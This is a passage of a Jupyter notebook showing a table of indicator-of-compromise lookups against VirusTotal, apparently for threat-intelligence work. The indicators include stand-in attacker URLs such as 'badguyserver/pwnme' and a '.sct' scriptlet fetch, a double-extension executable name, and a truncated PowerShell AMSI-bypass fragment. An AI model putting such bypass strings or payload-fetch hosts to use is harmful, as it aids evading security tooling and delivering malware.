       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>102</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>tsetup.1.exe</td>\n",
       "      <td>dns</td>\n",
       "      <td>Domain not resolvable</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>9</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>3</th>\n",
       "      <td>tsetup.1.0.14.exe</td>\n",
       "      <td>dns</td>\n",
       "      <td>Domain not resolvable</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>9</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4</th>\n",
       "      <td>tsetup.1.0.14.tmp</td>\n",
       "      <td>dns</td>\n",
       "      <td>Domain not resolvable</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>9</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>5</th>\n",
       "      <td>doubleextension.pdf.exe</td>\n",
       "      <td>dns</td>\n",
       "      <td>Domain not resolvable</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>20</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>6</th>\n",
       "      <td>server</td>\n",
       "      <td>dns</td>\n",
       "      <td>Observable does not match expected pattern for...</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>31</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>7</th>\n",
       "      <td>somedomain</td>\n",
       "      <td>dns</td>\n",
       "      <td>Observable does not match expected pattern for...</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>37</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>8</th>\n",
       "      <td>badguyserver</td>\n",
       "      <td>dns</td>\n",
       "      <td>Observable does not match expected pattern for...</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>46</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>9</th>\n",
       "      <td>badguyserver</td>\n",
       "      <td>dns</td>\n",
       "      <td>Observable does not match expected pattern for...</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>47</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>10</th>\n",
       "      <td>system.management.automation.amsiutils').getfi...</td>\n",
       "      <td>dns</td>\n",
       "      <td>Observable does not match expected pattern for...</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>77</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>11</th>\n",
       "      <td>system.management.automation.amsiutils</td>\n",
       "      <td>dns</td>\n",
       "      <td>Domain not resolvable</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>77</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>12</th>\n",
       "      <td>http://server/file.sct</td>\n",
       "      <td>url</td>\n",
       "      <td>Host is unqualified domain name</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>31</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>13</th>\n",
       "      <td>http://somedomain/best-kitten-names-1.jpg'</td>\n",
       "      <td>url</td>\n",
       "      <td>Host is unqualified domain name</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>37</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>14</th>\n",
       "      <td>http://badguyserver/pwnme\"</td>\n",
       "      <td>url</td>\n",
       "      <td>Host is unqualified domain name</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>46</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>15</th>\n",
       "      <td>http://badguyserver/pwnme\"</td>\n",
       "      <td>url</td>\n",
       "      <td>Host is unqualified domain name</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>47</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>16</th>\n",
       "      <td>http://system.management.automation.amsiutils'...</td>\n",
       "      <td>url</td>\n",
       "      <td>Success</td>\n",
       "      <td>0</td>\n",
       "      <td>{\"response_code\": 0, \"resource\": \"http://syste...</td>\n",
       "      <td>http://system.management.automation.amsiutils'...</td>\n",
       "      <td>77</td>\n",
       "      <td>Resource does not exist in the dataset</td>\n",
       "      <td>http://system.management.automation.amsiutils'...</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>17</th>\n",
       "      <td>http://127.0.0.1/</td>\n",
       "      <td>url</td>\n",
       "      <td>Host part of URL is a private IP address</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>102</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>18</th>\n",
       "      <td>aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</td>\n",
       "      <td>md5_hash</td>\n",
       "      <td>String has too low an entropy to be a hash</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>40</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>19</th>\n",
       "      <td>aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</td>\n",
       "      <td>md5_hash</td>\n",
       "      <td>String has too low an entropy to be a hash</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>41</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>20</th>\n",
       "      <td>81ed03caf6901e444c72ac67d192fb9c</td>\n",
       "      <td>md5_hash</td>\n",
       "      <td>Success</td>\n",
       "      <td>0</td>\n",
       "      <td>{\"response_code\": 0, \"resource\": \"81ed03caf690...</td>\n",
       "      <td>81ed03caf6901e444c72ac67d192fb9c</td>\n",
       "      <td>44</td>\n",
       "      <td>The requested resource is not among the finish...</td>\n",
       "      <td>81ed03caf6901e444c72ac67d192fb9c</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "                                           Observable   IoCType  \\\n",
       "0                                             1.2.3.4      ipv4   \n",
       "1                                           127.0.0.1      ipv4   \n",
       "2                                        tsetup.1.exe       dns   \n",
       "3                                   tsetup.1.0.14.exe       dns   \n",
       "4                                   tsetup.1.0.14.tmp       dns   \n",
       "5                             doubleextension.pdf.exe       dns   \n",
       "6                                              server       dns   \n",
       "7                                          somedomain       dns   \n",
       "8                                        badguyserver       dns   \n",
       "9                                        badguyserver       dns   \n",
       "10  system.management.automation.amsiutils').getfi...       dns   \n",
       "11             system.management.automation.amsiutils       dns   \n",
       "12                             http://server/file.sct       url   \n",
       "13         http://somedomain/best-kitten-names-1.jpg'       url   \n",
       "14                         http://badguyserver/pwnme\"       url   \n",
       "15                         http://badguyserver/pwnme\"       url   \n",
       "16  http://system.management.automation.amsiutils'...       url   \n",
       "17                                  http://127.0.0.1/       url   \n",
       "18                  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa   md5_hash   \n",
       "19                  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa   md5_hash   \n",
       "20                   81ed03caf6901e444c72ac67d192fb9c  md5_hash   \n",
       "\n",
       "                                               Status ResponseCode  \\\n",
       "0                                             Success            1   \n",
       "1                               IP is private address          NaN   \n",
       "2                               Domain not resolvable          NaN   \n",
       "3                               Domain not resolvable          NaN   \n",
       "4                               Domain not resolvable          NaN   \n",
       "5                               Domain not resolvable          NaN   \n",
       "6   Observable does not match expected pattern for...          NaN   \n",
       "7   Observable does not match expected pattern for...          NaN   \n",
       "8   Observable does not match expected pattern for...          NaN   \n",
       "9   Observable does not match expected pattern for...          NaN   \n",
       "10  Observable does not match expected pattern for...          NaN   \n",
       "11                              Domain not resolvable          NaN   \n",
       "12                    Host is unqualified domain name          NaN   \n",
       "13                    Host is unqualified domain name          NaN   \n",
       "14                    Host is unqualified domain name          NaN   \n",
       "15                    Host is unqualified domain name          NaN   \n",
       "16                                            Success            0   \n",
       "17           Host part of URL is a private IP address          NaN   \n",
       "18         String has too low an entropy to be a hash          NaN   \n",
       "19         String has too low an entropy to be a hash          NaN   \n",
       "20                                            Success            0   \n",
       "\n",
       "                                          RawResponse  \\\n",
       "0   {\"asn\": \"15169\", \"undetected_referrer_samples\"...   \n",
       "1                                                 NaN   \n",
       "2                                                 NaN   \n",
       "3                                                 NaN   \n",
       "4                                                 NaN   \n",
       "5                                                 NaN   \n",
       "6                                                 NaN   \n",
       "7                                                 NaN   \n",
       "8                                                 NaN   \n",
       "9                                                 NaN   \n",
       "10                                                NaN   \n",
       "11                                                NaN   \n",
       "12                                                NaN   \n",
       "13                                                NaN   \n",
       "14                                                NaN   \n",
       "15                                                NaN   \n",
       "16  {\"response_code\": 0, \"resource\": \"http://syste...   \n",
       "17                                                NaN   \n",
       "18                                                NaN   \n",
       "19                                                NaN   \n",
       "20  {\"response_code\": 0, \"resource\": \"81ed03caf690...   \n",
       "\n",
       "                                             Resource SourceIndex  \\\n",
       "0                                                 NaN          78   \n",
       "1                                                 NaN         102   \n",
       "2                                                 NaN           9   \n",
       "3                                                 NaN           9   \n",
       "4                                                 NaN           9   \n",
       "5                                                 NaN          20   \n",
       "6                                                 NaN          31   \n",
       "7                                                 NaN          37   \n",
       "8                                                 NaN          46   \n",
       "9                                                 NaN          47   \n",
       "10                                                NaN          77   \n",
       "11                                                NaN          77   \n",
       "12                                                NaN          31   \n",
       "13                                                NaN          37   \n",
       "14                                                NaN          46   \n",
       "15                                                NaN          47   \n",
       "16  http://system.management.automation.amsiutils'...          77   \n",
       "17                                                NaN         102   \n",
       "18                                                NaN          40   \n",
       "19                                                NaN          41   \n",
       "20                   81ed03caf6901e444c72ac67d192fb9c          44   \n",
       "\n",
       "                                           VerboseMsg  \\\n",
       "0                               IP address in dataset   \n",
       "1                                                 NaN   \n",
       "2                                                 NaN   \n",
       "3                                                 NaN   \n",
       "4                                                 NaN   \n",
       "5                                                 NaN   \n",
       "6                                                 NaN   \n",
       "7                                                 NaN   \n",
       "8                                                 NaN   \n",
       "9                                                 NaN   \n",
       "10                                                NaN   \n",
       "11                                                NaN   \n",
       "12                                                NaN   \n",
       "13                                                NaN   \n",
       "14                                                NaN   \n",
       "15                                                NaN   \n",
       "16             Resource does not exist in the dataset   \n",
       "17                                                NaN   \n",
       "18                                                NaN   \n",
       "19                                                NaN   \n",
       "20  The requested resource is not among the finish...   \n",
       "\n",
       "                                             Resource ScanId Permalink  \\\n",
       "0                                                 NaN    NaN       NaN   \n",
       "1                                                 NaN    NaN       NaN   \n",
       "2                                                 NaN    NaN       NaN   \n",
       "3                                                 NaN    NaN       NaN   \n",
       "4                                                 NaN    NaN       NaN   \n",
       "5                                                 NaN    NaN       NaN   \n",
       "6                                                 NaN    NaN       NaN   \n",
       "7                                                 NaN    NaN       NaN   \n",
       "8                                                 NaN    NaN       NaN   \n",
       "9                                                 NaN    NaN       NaN   \n",
       "10                                                NaN    NaN       NaN   \n",
       "11                                                NaN    NaN       NaN   \n",
       "12                                                NaN    NaN       NaN   \n",
       "13                                                NaN    NaN       NaN   \n",
       "14                                                NaN    NaN       NaN   \n",
       "15                                                NaN    NaN       NaN   \n",
       "16  http://system.management.automation.amsiutils'...    NaN       NaN   \n",
       "17                                                NaN    NaN       NaN   \n",
       "18                                                NaN    NaN       NaN   \n",
       "19                                                NaN    NaN       NaN   \n",
       "20                   81ed03caf6901e444c72ac67d192fb9c    NaN       NaN   \n",
       "\n",
       "   Positives  MD5 SHA1 SHA256  \\\n",
       "0        162  NaN  NaN    NaN   \n",
       "1        NaN  NaN  NaN    NaN   \n",
       "2        NaN  NaN  NaN    NaN   \n",
       "3        NaN  NaN  NaN    NaN   \n",
       "4        NaN  NaN  NaN    NaN   \n",
       "5        NaN  NaN  NaN    NaN   \n",
       "6        NaN  NaN  NaN    NaN   \n",
       "7        NaN  NaN  NaN    NaN   \n",
       "8        NaN  NaN  NaN    NaN   \n",
       "9        NaN  NaN  NaN    NaN   \n",
       "10       NaN  NaN  NaN    NaN   \n",
       "11       NaN  NaN  NaN    NaN   \n",
       "12       NaN  NaN  NaN    NaN   \n",
       "13       NaN  NaN  NaN    NaN   \n",
       "14       NaN  NaN  NaN    NaN   \n",
       "15       NaN  NaN  NaN    NaN   \n",
       "16       NaN  NaN  NaN    NaN   \n",
       "17       NaN  NaN  NaN    NaN   \n",
       "18       NaN  NaN  NaN    NaN   \n",
       "19       NaN  NaN  NaN    NaN   \n",
       "20       NaN  NaN  NaN    NaN   \n",
       "\n",
       "                                      ResolvedDomains ResolvedIPs  \\\n",
       "0   %2a.netaccess-india.com, 0-9.dgjtest030-pp-qm-...         NaN   \n",
       "1                                                 NaN         NaN   \n",
       "2                                                 NaN         NaN   \n",
       "3                                                 NaN         NaN   \n",
       "4                                                 NaN         NaN   \n",
       "5                                                 NaN         NaN   \n",
       "6                                                 NaN         NaN   \n",
       "7                                                 NaN         NaN   \n",
       "8                                                 NaN         NaN   \n",
       "9                                                 NaN         NaN   \n",
       "10                                                NaN         NaN   \n",
       "11                                                NaN         NaN   \n",
       "12                                                NaN         NaN   \n",
       "13                                                NaN         NaN   \n",
       "14                                                NaN         NaN   \n",
       "15                                                NaN         NaN   \n",
       "16                                                NaN         NaN   \n",
       "17                                                NaN         NaN   \n",
       "18                                                NaN         NaN   \n",
       "19                                                NaN         NaN   \n",
       "20                                                NaN         NaN   \n",
       "\n",
       "                                         DetectedUrls  \n",
       "0   http://1.2.3.4:8347/, http://1.2.3.4/, http://...  \n",
       "1                                                 NaN  \n",
       "2                                                 NaN  \n",
       "3                                                 NaN  \n",
       "4                                                 NaN  \n",
       "5                                                 NaN  \n",
       "6                                                 NaN  \n",
       "7                                                 NaN  \n",
       "8                                                 NaN  \n",
       "9                                                 NaN  \n",
       "10                                                NaN  \n",
       "11                                                NaN  \n",
       "12                                                NaN  \n",
       "13                                                NaN  \n",
       "14                                                NaN  \n",
       "15                                                NaN  \n",
       "16                                                NaN  \n",
       "17                                                NaN  \n",
       "18                                                NaN  \n",
       "19                                                NaN  \n",
       "20                                                NaN  "
      ]
     },
     "metadata": {},
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    }
   ],
   "source": [
    "# Submit a subset of the found IoCs (ignore dns since a lot of )\n",
    "vt_results = vt_lookup.lookup_iocs(data=output_df, \n",
    "                                   type_col='IoCType', \n",
    "                                   src_col='Observable')\n",
    "\n",
    "display(vt_results)"
   ]
  }
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